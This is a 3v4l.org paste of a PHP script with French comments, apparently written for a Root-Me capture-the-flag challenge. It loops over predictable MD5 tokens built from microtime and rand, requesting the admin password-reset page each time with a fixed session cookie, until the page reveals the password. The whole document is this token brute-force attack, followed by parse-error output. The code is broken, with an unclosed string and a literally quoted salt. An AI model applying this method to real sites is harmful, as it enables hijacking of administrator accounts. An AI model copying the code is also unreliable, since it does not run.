3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $ok = 1; while($ok==1){ $salt = microtime(); $generated_token = MD5('$salt' . rand(1, 100)); $url = "http://challenge01.root-me.org//realiste/ch14/?p=forgot_dev&username=admin&token=".$generated_token; echo $url; $ch = curl_init(); // configuration de l'URL et d'autres options curl_setopt($ch, CURLOPT_URL, $url ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_HTTPHEADER, "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Connection: keep-alive Accept-Encoding: gzip,deflate,sdch Cookie: PHPSESSID=9211kbnklf3dbgq0o6k7ono9o6;); $chaine=curl_exec($ch); echo $chaine; if (strpos($chaine,"Votre mot de passe est") !== false) { echo $chaine; $ok = 2; } curl_close($ch); // fermeture de la session curl } ?>
based on 7f17j
Output for 7.0.0 - 7.0.1
Parse error: syntax error, unexpected 'Votre' (T_STRING), expecting ',' or ')' in /in/R0uoK on line 18
Process exited with code 255.
Output for 5.4.11 - 5.6.16
Parse error: syntax error, unexpected 'Votre' (T_STRING) in /in/R0uoK on line 18
Process exited with code 255.
Output for 5.3.21 - 5.3.29
Parse error: syntax error, unexpected T_STRING in /in/R0uoK on line 18
Process exited with code 255.